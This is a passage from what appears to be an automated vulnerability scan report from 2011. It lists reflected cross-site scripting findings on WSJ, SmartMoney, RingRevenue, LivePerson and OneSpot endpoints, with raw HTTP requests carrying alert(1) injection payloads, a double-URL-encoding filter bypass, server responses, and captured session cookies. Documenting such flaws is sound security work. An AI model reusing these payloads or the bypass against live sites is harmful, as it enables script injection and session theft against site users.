Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=173274949960; mojo3=13754:1281

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:13:39 GMT
Server: Apache
Last-Modified: Thu, 03 Feb 2011 20:44:51 GMT
ETag: "483399-b85-49b66d64a36c0"
Accept-Ranges: bytes
Content-Length: 6606
Content-Type: application/x-javascript

function MediaplexFlashAOL(){
var mp_swver = 0, mp_html = "";

if( navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"] && navigator.mimeTypes["application/x-shockwave-flash"].
...[SNIP]...
http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/a;207642206;1-0;0;29270204;4307-300/250;33472683/33490561/1;;~okv=;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;;~aopt=6/1/ff/1;~sscs=?fe2e0";alert(1)//fbfb0034a22http://altfarm.mediaplex.com%2Fad%2Fck%2F13754-86576-1281-0%3Fmpt%3D3040010&clickTag=http://ad.doubleclick.net/click;h=v8/3b07/3/0/*/a;207642206;1-0;0;29270204;4307-300/250;33472683/33490561/1;;~okv=;!
...[SNIP]...

4.73. http://js.revsci.net/gateway/gw.js [csid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/gateway/gw.js

Issue detail

The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload 71ca7<script>alert(1)</script>631a598379a was submitted in the csid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gateway/gw.js?csid=G0760871ca7<script>alert(1)</script>631a598379a HTTP/1.1
Host: js.revsci.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Sat, 14 May 2011 10:09:19 GMT
Cache-Control: max-age=86400, private
Expires: Sun, 15 May 2011 10:09:19 GMT
X-Proc-ms: 1
Content-Type: application/javascript;charset=ISO-8859-1
Vary: Accept-Encoding
Date: Sat, 14 May 2011 10:09:19 GMT
Content-Length: 128

/*
* JavaScript include error:
* The customer code "G0760871CA7<SCRIPT>ALERT(1)</SCRIPT>631A598379A" was not recognized.
*/

4.74. http://json6.ringrevenue.com/6/map_number [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/6/map_number

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7eee0'%3balert(1)//7515d9488a3 was submitted in the REST URL parameter 2. This input was echoed as 7eee0';alert(1)//7515d9488a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /6/map_number7eee0'%3balert(1)//7515d9488a3?jsoncallback=jsonp1305377517510&_=1305377522381&av_id=5510&url=http%3A%2F%2Fwww.midphase.com%2F&referer= HTTP/1.1
Host: json6.ringrevenue.com
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Sat, 14 May 2011 12:53:45 GMT
P3P: CP="CAO DSP CURa ADMa DEVa OUR NOR DEM STA" policyref="/w3c/p3p.xml"
Server: Mongrel 1.1.5
Set-Cookie: theme=generic; domain=.ringrevenue.com; path=/; expires=Mon, 14-May-2012 12:53:46 GMT
Set-Cookie: _rr_session_id=f163055218661cc27b695a8178c22dcb; domain=.ringrevenue.com; path=/; HttpOnly
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Status: 404
Vary: Accept-Encoding
Via: 1.1 www.ringrevenue.com
Connection: keep-alive
Content-Length: 10306

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
);
return false;
});

Application.cookie_domain = ".ringrevenue.com";

var ext_cookie_path = '/6/map_number7eee0';alert(1)//7515d9488a3';

Ext.state.Manager.setProvider( new Ext.state.CookieProvider(
{
expires: new Date(new Date().getTime()+(1000*60*60*24*365)), //365 days

...[SNIP]...

4.75. http://json6.ringrevenue.com/images/ringrevenue/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/images/ringrevenue/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 98cb3'%3balert(1)//7af160695df was submitted in the REST URL parameter 1. This input was echoed as 98cb3';alert(1)//7af160695df in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /images98cb3'%3balert(1)//7af160695df/ringrevenue/favicon.ico HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Sun, 15 May 2011 11:54:16 GMT
Server: Mongrel 1.1.5
Set-Cookie: theme=generic; domain=.ringrevenue.com; path=/; expires=Tue, 15-May-2012 11:54:16 GMT
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Status: 404
Vary: Accept-Encoding
Via: 1.1 www.ringrevenue.com
Connection: keep-alive
Content-Length: 10221

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
rel' ) );
return false;
});

Application.cookie_domain = ".ringrevenue.com";

var ext_cookie_path = '/images98cb3';alert(1)//7af160695df/ringrevenue/favicon.ico';

Ext.state.Manager.setProvider( new Ext.state.CookieProvider(
{
expires: new Date(new Date().getTime()+(1000*60*60*24*365)
...[SNIP]...

4.76. http://json6.ringrevenue.com/images/ringrevenue/favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/images/ringrevenue/favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d2bab'%3balert(1)//5e51e295be2 was submitted in the REST URL parameter 2. This input was echoed as d2bab';alert(1)//5e51e295be2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /images/ringrevenued2bab'%3balert(1)//5e51e295be2/favicon.ico HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Sun, 15 May 2011 11:54:32 GMT
Server: Mongrel 1.1.5
Set-Cookie: theme=generic; domain=.ringrevenue.com; path=/; expires=Tue, 15-May-2012 11:54:32 GMT
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Status: 404
Vary: Accept-Encoding
Via: 1.1 www.ringrevenue.com
Connection: keep-alive
Content-Length: 10221

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
return false;
});

Application.cookie_domain = ".ringrevenue.com";

var ext_cookie_path = '/images/ringrevenued2bab';alert(1)//5e51e295be2/favicon.ico';

Ext.state.Manager.setProvider( new Ext.state.CookieProvider(
{
expires: new Date(new Date().getTime()+(1000*60*60*24*365)), //365 day
...[SNIP]...

4.77. http://json6.ringrevenue.com/images/ringrevenue/favicon.ico [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/images/ringrevenue/favicon.ico

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73596'%3balert(1)//3a3ddf7380 was submitted in the REST URL parameter 3. This input was echoed as 73596';alert(1)//3a3ddf7380 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /images/ringrevenue/favicon.ico73596'%3balert(1)//3a3ddf7380 HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Sun, 15 May 2011 11:54:48 GMT
Server: Mongrel 1.1.5
Set-Cookie: theme=generic; domain=.ringrevenue.com; path=/; expires=Tue, 15-May-2012 11:54:48 GMT
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Status: 404
Vary: Accept-Encoding
Via: 1.1 www.ringrevenue.com
Connection: keep-alive
Content-Length: 10219

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
return false;
});

Application.cookie_domain = ".ringrevenue.com";

var ext_cookie_path = '/images/ringrevenue/favicon.ico73596';alert(1)//3a3ddf7380';

Ext.state.Manager.setProvider( new Ext.state.CookieProvider(
{
expires: new Date(new Date().getTime()+(1000*60*60*24*365)), //365 days

...[SNIP]...

4.78. http://jtools.smartmoney.com/marketspectrum/spectrumServer [jsoncallback parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://jtools.smartmoney.com
Path:	/marketspectrum/spectrumServer

Issue detail

The value of the jsoncallback request parameter is copied into the HTML document as plain text between tags. The payload 985ce<a>b6e12d05707 was submitted in the jsoncallback parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /marketspectrum/spectrumServer?action=mapData&src=marketdata&jsoncallback=985ce<a>b6e12d05707&_=1305368020020 HTTP/1.1
Host: jtools.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.1.10.1305368018

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:19:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: application/x-javascript
Content-Length: 991
Set-Cookie: NSC_tnz-ksvo-iuuq=ffffffff09f93b9c45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:34:57 GMT;path=/

985ce<a>b6e12d05707({"timeInfo":{"timestamp":"6:19am EDT, 5/14/2011","stamp":"1305368344337"},"data":{name: "THE MARKET", children:[{"name":"HEALTH CARE","value":"-0.21","size":"1970454016000"},{"name":"FINANCIAL","value
...[SNIP]...

4.79. http://realestate.wsj.com/item/822547 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/item/822547

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5bae6%2527%253balert%25281%2529%252f%252fa24dd948b41 was submitted in the REST URL parameter 2. This input was echoed as 5bae6';alert(1)//a24dd948b41 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /item/8225475bae6%2527%253balert%25281%2529%252f%252fa24dd948b41?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1 HTTP/1.1
Host: realestate.wsj.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/for-sale/us/10010?sid=56936
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; rsi_csl=lA; rsi_segs=G07608_10001; _vanilla_ui_session=BAh7BzoPc2Vzc2lvbl9pZCIlMWJlN2U5NTA2ZjA1YmMyMzA4YjQwNTg1NjZhMTRkOTE6EF9jc3JmX3Rva2VuIjFaZENHYzV6UXpVWHU4OVFXOVRENWRtRnVVc2N4bUdpSVZ0eERiVGsrS0NrPQ%3D%3D--ac4298512308a102427d420d41ce51f58a11780e; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWSJ_RE_Search%252520Results_List%2526pidt%253D1%2526oid%253Dhttp%25253A//realestate.wsj.com/item/822547%25253Fas%2525255Bcountry_code%2525255D%25253Dus%252526as%2525255Blocation%2525255D%25253D10010%252526as%2525255Bsid%2525255D%25253D569%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:50:52 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.2
ETag: "c93aaeef52300df5bbe4e172ec3d3c42"
X-Runtime: 364
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: _vanilla_ui_session=BAh7BzoPc2Vzc2lvbl9pZCIlMWJlN2U5NTA2ZjA1YmMyMzA4YjQwNTg1NjZhMTRkOTE6EF9jc3JmX3Rva2VuIjFaZENHYzV6UXpVWHU4OVFXOVRENWRtRnVVc2N4bUdpSVZ0eERiVGsrS0NrPQ%3D%3D--ac4298512308a102427d420d41ce51f58a11780e; path=/; HttpOnly
ntCoent-Length: 69760
Status: 200
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 69760

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head
...[SNIP]...
sultList.resultIds = [83336];
               Search.start = 0;
       Search.rows = 1;
       Search.sorting = '';
       Search.map = 0;
       Search.transaction = 'for-sale';
       Search.facets.clear();
   Search.addFacet('id','8225475bae6';alert(1)//a24dd948b41');                Search.newSearch = true;
   </script>
...[SNIP]...

4.80. http://sbklivequoteserverdl.smartmoney.com/livequote/tokenJSON [jsoncallback parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://sbklivequoteserverdl.smartmoney.com
Path:	/livequote/tokenJSON

Issue detail

The value of the jsoncallback request parameter is copied into the HTML document as plain text between tags. The payload 3ecce<a>4f9c5407d3e was submitted in the jsoncallback parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /livequote/tokenJSON?list=NLS:AAPL,BAC,CSCO,F,GE,$I.DJI,$I.COMPX,$INX&jsoncallback=jQuery15106331928954459727_13053680199773ecce<a>4f9c5407d3e&_=1305368021618 HTTP/1.1
Host: sbklivequoteserverdl.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.1.10.1305368018; s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:19:09 GMT
Content-Length: 226

jQuery15106331928954459727_13053680199773ecce<a>4f9c5407d3e({"token" : "1037D381681A41D3B5CEEB943EC58008", "data" : "340.5|-6.07,11.93|-0.27,16.88|-0.05,15.08|-0.18,19.89|-0.25,12595.75|-100.17,2828.47|-34.57,1337.77|-10.88"})

4.81. http://server.iad.liveperson.net/hc/44533531/ [lpCallId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/44533531/

Issue detail

The value of the lpCallId request parameter is copied into the HTML document as plain text between tags. The payload 5fd52<img%20src%3da%20onerror%3dalert(1)>da307982a87 was submitted in the lpCallId parameter. This input was echoed as 5fd52<img src=a onerror=alert(1)>da307982a87 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /hc/44533531/?lpCallId=1305377526944-2655fd52<img%20src%3da%20onerror%3dalert(1)>da307982a87&lpjson=2&site=44533531&sessionkey=H7032450980834070235-4139296687908663322K2753111&cmd=visitorPoll HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://server.iad.liveperson.net/hc/44533531/?cmd=file&file=preChatSurveyContent&site=44533531&sessionkey=H7032450980834070235-4139296687908663322K2753111&survey=Pre-Chat
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=7032450980834070235; LivePersonID=-16101514677756-1305377522:-1:-1:-1:-1; HumanClickCHATKEY=4139296687908663322; HumanClickSiteContainerID_44533531=STANDALONE; LivePersonID=LP i=16101514677756,d=1305377522; HumanClickACTIVE=1305377524917

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:52:56 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickSiteContainerID_44533531=STANDALONE; path=/hc/44533531
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sat, 14 May 2011 12:52:56 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 142

lpConnLib.Process({"ResultSet": {"lpCallId":"1305377526944-2655fd52<img src=a onerror=alert(1)>da307982a87","lpCallConfirm":"","lpData":[]}});

4.82. http://smartmoney.onespot.com/ism/nextclick_wsjdn/index.js [_ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://smartmoney.onespot.com
Path:	/ism/nextclick_wsjdn/index.js

Issue detail

The value of the _ request parameter is copied into the HTML document as plain text between tags. The payload 451fe<script>alert(1)</script>4278ff0e76f was submitted in the _ parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ism/nextclick_wsjdn/index.js?url=http%3A%2F%2Fwww.smartmoney.com%2Finvest%2Fstrategies%2Fheavy-metal-debate-silver-vs-gold-1305310258887%2F&have_content=true&callback=onespot.dispatch&_=1305368029696451fe<script>alert(1)</script>4278ff0e76f HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Age: 0
Cache-Control: public, max-age=3600
Content-Type: text/javascript; charset=utf-8
Date: Sat, 14 May 2011 10:21:51 GMT
ETag: "7588b5ee53624bb9c397ea850716e6c9"
Server: nginx/0.7.67 + Phusion Passenger 2.2.15 (mod_rails/mod_rack)
Status: 200
Via: 1.1 varnish
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Runtime: 46
X-Varnish: 1066829701
Connection: keep-alive
Content-Length: 5702

onespot.dispatch451fe<script>alert(1)</script>4278ff0e76f({"status":"ready","results":"\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n <title>OneSpot NextClick
...[SNIP]...

4.83. http://smartmoney.onespot.com/ism/nextclick_wsjdn/index.js [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://smartmoney.onespot.com
Path:	/ism/nextclick_wsjdn/index.js

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 90d1d<script>alert(1)</script>7e5368fbed8 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ism/nextclick_wsjdn/index.js?url=http%3A%2F%2Fwww.smartmoney.com%2Finvest%2Fstrategies%2Fheavy-metal-debate-silver-vs-gold-1305310258887%2F&have_content=true&callback=onespot.dispatch90d1d<script>alert(1)</script>7e5368fbed8&_=1305368029696 HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Age: 0
Cache-Control: public, max-age=3600
Content-Type: text/javascript; charset=utf-8
Date: Sat, 14 May 2011 10:21:25 GMT
ETag: "1c81e0cbf5462968bab2ac2a8df6bfed"
Server: nginx/0.7.67 + Phusion Passenger 2.2.15 (mod_rails/mod_rack)
Status: 200
Via: 1.1 varnish
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Runtime: 79
X-Varnish: 1066829210
Connection: keep-alive
Content-Length: 5702

onespot.dispatch90d1d<script>alert(1)</script>7e5368fbed8({"status":"ready","results":"\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n <title>OneSpot NextClick
...[SNIP]...

4.84. http://topics.wsj.com/api-video/get_video_info.asp [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://topics.wsj.com
Path:	/api-video/get_video_info.asp

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21cdf"%3b6c5435b28da was submitted in the REST URL parameter 2. This input was echoed as 21cdf";6c5435b28da in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /api-video/get_video_info.asp21cdf"%3b6c5435b28da?guid={7A591B4C-215B-4895-A64A-C793AEEBB8A6}&fields=thumbnailURLSmall&cb=1534993 HTTP/1.1
Host: topics.wsj.com
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
